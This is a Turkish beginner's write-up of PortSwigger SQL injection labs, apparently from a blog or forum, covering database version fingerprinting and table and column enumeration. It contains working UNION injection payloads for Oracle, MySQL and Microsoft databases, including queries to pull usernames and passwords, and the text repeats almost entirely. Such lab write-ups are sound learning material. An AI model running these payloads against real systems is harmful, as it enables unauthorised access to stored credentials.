Mahlenizin dost canlısı acemi hackeri geri geldi, nasılsınız dostlar!
Eğer UNION sorgusu nedir, ne değildir bilmiyorsanız bir önceki konularıma burdan ulaşabilirsiniz.
Intercept islemini öğrenmek istiyorsanız gene önceki konularıma burdan ulaşabilirsiniz. Sırasıyla okumanızı tavsiye ederim.
SQL injection -- Veritabanının incelenmesi
Bu konunun önemi çok büyük, Veritabanları arasındaki ve sürümler arasındaki farklılığın önemini belirtir.
Öyle bam güm sistem hakkında hiç bir fikriniz olmadan dikkate değer bir SQL saldırısı yapmanız sadece şans eseridir.
Öncelikle yazılım türünü hakkında bilgi toplamamız lazım çünkü her yazılım türünde sütunlar ve tablolar farklı belirtilir
Bazı popüler veritabanı türleri için veritabanı sürümünü belirlemek için kullanabileceğiniz sorgular şunlardır:
Microsoft, MySQL SELECT @@version
Oracle SELECT * FROM v$version
PostgreSQL SELECT version()
Örneğin, aşağıdaki girişi UNION saldırısıyla kullanabilirsiniz:
' UNION SELECT @@version--
Az çok anladıysanız örneklerle bilginizi anlamlı hale getirelim.
LAB - SQL injection attack, querying the database type and version on Oracle
(SQL enjeksiyon saldırısı, Oracle'da veritabanı tipini ve sürümünü sorgulama)
Öncellikle bir kategori seçiyoruz sebebini bir önceki konumda anlatmıştım.
Ardından hem 'UNION Saldırısına açık mı' hem de 'sütun sayısı 2 veya 2 den büyük' öğrenmek için:
' UNION SELECT 'abc','def' FROM dual--
(dual nerden geldi hiç bir fikrim yok)
Ardından Oracle olduğu bilgisi LAB'da bize verildiği için
' UNION SELECT BANNER, NULL FROM v$version--
LAB - SOLVED
LAB - SQL injection attack, querying the database type and version on MySQL and Microsoft
(SQL enjeksiyon saldırısı, MySQL ve Microsoft'ta veritabanı türünü ve sürümünü sorgulama)
Bu sefer diğerinin aksine Burp Suite kullanmamız gerekiyor.
Intercept'ı aktifleştirip gene bir kategori seçiyoruz.
'+UNION+select+'abc','def'#
Gene aynı işlemi aynı gerekçelerden dolayı yapıyoruz
Not: MySQL'de saldırının bittiğini açıklamak için '--' yerine '#' kullanılıyor.
Ardından sorguyu değiştirip istediğimiz bilgiyi yazıyoruz.
LAB - SOLVED
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(bu kısım çevirip alıntıladığım ve en önemli yerdir)
(Bir önceki konular da 'LA BU SÜTUNLARININ İSMİNİN USERS OLDUĞUNU NEREDEN BİLİOZ' dediğinizi sezer gibiyim, çünkü bende demiştim . Bu kısım aklınızdaki soru işaretini kaldırır umarım)
(My SQL'de @@version veritabanı türünü ve sürümüne işaret eder)
Veritabanının içeriğini listeleyerek
Oracle hariç birçok veritabanı türü, veritabanı hakkında bilgi sağlayan bilgi şeması adlı bir dizi görünüme sahiptir.
Veritabanında ki tabloları listelemek için information_schema.tables sorgusunu kullanabilirsiniz:
SELECT * FROM information_schema.tables
Bu aşağıdaki gibi bir çıktı döndürür:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE
Bu çıktı, Products, Users ve Feedback olarak adlandırılan üç tablo olduğunu gösterir.
Daha sonra, belirli tablolardaki sütunları listelemek için information_schema.columns sorgusunu sorgulayabilirsiniz:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
Bu aşağıdaki gibi bir çıktı döndürür:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar
Bu çıktı, belirtilen tablodaki sütunları ve her sütunun veri türünü gösterir.
(dağ yolu gibi)
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
LAB - SQL injection attack, listing the database contents on non-Oracle databases
(SQL enjeksiyon saldırısı, Oracle olmayan veritabanlarının içeriğini listeleme)
Öncellikle sütun sayısını belirliyoruz ve 2 olduğunu anlıyoruz.
Ardından görseldeki gibi veritabanındaki tüm tabloları bize bildirmesini istiyoruz.
Kullanıcıların olduğu tablonun ismini öğreniyoruz.
Yeni bir sorgu oluşturuyoruz
Tablonun içindeki sütunlarda sifreler ve kullanıcı adlarının olduğunu görüyoruz
Son kez sorguyu değiştiriyoruz
ve tebrikler
LAB - SOLVED
LAB - SQL injection attack, listing the database contents on Oracle
Burası için görsel kullanmaya gerek yok öncekinin neredeyse aynısı.
Oracle veritabanında tabloları görmek için :
'+UNION+SELECT+table_name,NULL+FROM+all_tables--
Tablo içindeki sütunları görmek için ise:
'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='tablename'--
Sütun içindeki değerleri görmek için ise:
'+UNION+SELECT+sütun_ismi,+sütun_ismi+FROM+tablo--
sorguları değiştirerek yapabilirsiniz.
Okuduğunuz için teşekkürler lütfen hatam varsa veya tavsiyeniz varsa bana bildirirseniz çok büyük bir iyilik etmiş olursunuz.
Mahlenizin dost canlısı acemi hackeri iyi günler diler!
Eğer UNION sorgusu nedir, ne değildir bilmiyorsanız bir önceki konularıma burdan ulaşabilirsiniz.
Intercept islemini öğrenmek istiyorsanız gene önceki konularıma burdan ulaşabilirsiniz. Sırasıyla okumanızı tavsiye ederim.
Portswigger, SQL injection anlatımlı LAB çözümleri.
PortSwigger, "Lab: SQL injection UNION attack, determining the number of columns returned by the query" Anlatımlı Çözümü
PortSwigger, SQL injection UNION attacks
SQL injection -- Veritabanının incelenmesi
Bu konunun önemi çok büyük, Veritabanları arasındaki ve sürümler arasındaki farklılığın önemini belirtir.
Öyle bam güm sistem hakkında hiç bir fikriniz olmadan dikkate değer bir SQL saldırısı yapmanız sadece şans eseridir.
Öncelikle yazılım türünü hakkında bilgi toplamamız lazım çünkü her yazılım türünde sütunlar ve tablolar farklı belirtilir
Bazı popüler veritabanı türleri için veritabanı sürümünü belirlemek için kullanabileceğiniz sorgular şunlardır:
Microsoft, MySQL SELECT @@version
Oracle SELECT * FROM v$version
PostgreSQL SELECT version()
Örneğin, aşağıdaki girişi UNION saldırısıyla kullanabilirsiniz:
' UNION SELECT @@version--
Az çok anladıysanız örneklerle bilginizi anlamlı hale getirelim.
LAB - SQL injection attack, querying the database type and version on Oracle
(SQL enjeksiyon saldırısı, Oracle'da veritabanı tipini ve sürümünü sorgulama)
Öncellikle bir kategori seçiyoruz sebebini bir önceki konumda anlatmıştım.
Ardından hem 'UNION Saldırısına açık mı' hem de 'sütun sayısı 2 veya 2 den büyük' öğrenmek için:
' UNION SELECT 'abc','def' FROM dual--
(dual nerden geldi hiç bir fikrim yok)
Ardından Oracle olduğu bilgisi LAB'da bize verildiği için
' UNION SELECT BANNER, NULL FROM v$version--
LAB - SOLVED
LAB - SQL injection attack, querying the database type and version on MySQL and Microsoft
(SQL enjeksiyon saldırısı, MySQL ve Microsoft'ta veritabanı türünü ve sürümünü sorgulama)
Bu sefer diğerinin aksine Burp Suite kullanmamız gerekiyor.
Intercept'ı aktifleştirip gene bir kategori seçiyoruz.
'+UNION+select+'abc','def'#
Gene aynı işlemi aynı gerekçelerden dolayı yapıyoruz
Not: MySQL'de saldırının bittiğini açıklamak için '--' yerine '#' kullanılıyor.
Ardından sorguyu değiştirip istediğimiz bilgiyi yazıyoruz.
LAB - SOLVED
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(bu kısım çevirip alıntıladığım ve en önemli yerdir)
(Bir önceki konular da 'LA BU SÜTUNLARININ İSMİNİN USERS OLDUĞUNU NEREDEN BİLİOZ' dediğinizi sezer gibiyim, çünkü bende demiştim . Bu kısım aklınızdaki soru işaretini kaldırır umarım)
(My SQL'de @@version veritabanı türünü ve sürümüne işaret eder)
Veritabanının içeriğini listeleyerek
Oracle hariç birçok veritabanı türü, veritabanı hakkında bilgi sağlayan bilgi şeması adlı bir dizi görünüme sahiptir.
Veritabanında ki tabloları listelemek için information_schema.tables sorgusunu kullanabilirsiniz:
SELECT * FROM information_schema.tables
Bu aşağıdaki gibi bir çıktı döndürür:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE
Bu çıktı, Products, Users ve Feedback olarak adlandırılan üç tablo olduğunu gösterir.
Daha sonra, belirli tablolardaki sütunları listelemek için information_schema.columns sorgusunu sorgulayabilirsiniz:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
Bu aşağıdaki gibi bir çıktı döndürür:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar
Bu çıktı, belirtilen tablodaki sütunları ve her sütunun veri türünü gösterir.
(dağ yolu gibi)
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
LAB - SQL injection attack, listing the database contents on non-Oracle databases
(SQL enjeksiyon saldırısı, Oracle olmayan veritabanlarının içeriğini listeleme)
Öncellikle sütun sayısını belirliyoruz ve 2 olduğunu anlıyoruz.
Ardından görseldeki gibi veritabanındaki tüm tabloları bize bildirmesini istiyoruz.
Kullanıcıların olduğu tablonun ismini öğreniyoruz.
Yeni bir sorgu oluşturuyoruz
Tablonun içindeki sütunlarda sifreler ve kullanıcı adlarının olduğunu görüyoruz
Son kez sorguyu değiştiriyoruz
ve tebrikler
LAB - SOLVED
LAB - SQL injection attack, listing the database contents on Oracle
Burası için görsel kullanmaya gerek yok öncekinin neredeyse aynısı.
Oracle veritabanında tabloları görmek için :
'+UNION+SELECT+table_name,NULL+FROM+all_tables--
Tablo içindeki sütunları görmek için ise:
'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='tablename'--
Sütun içindeki değerleri görmek için ise:
'+UNION+SELECT+sütun_ismi,+sütun_ismi+FROM+tablo--
sorguları değiştirerek yapabilirsiniz.
Okuduğunuz için teşekkürler lütfen hatam varsa veya tavsiyeniz varsa bana bildirirseniz çok büyük bir iyilik etmiş olursunuz.
Mahlenizin dost canlısı acemi hackeri iyi günler diler!


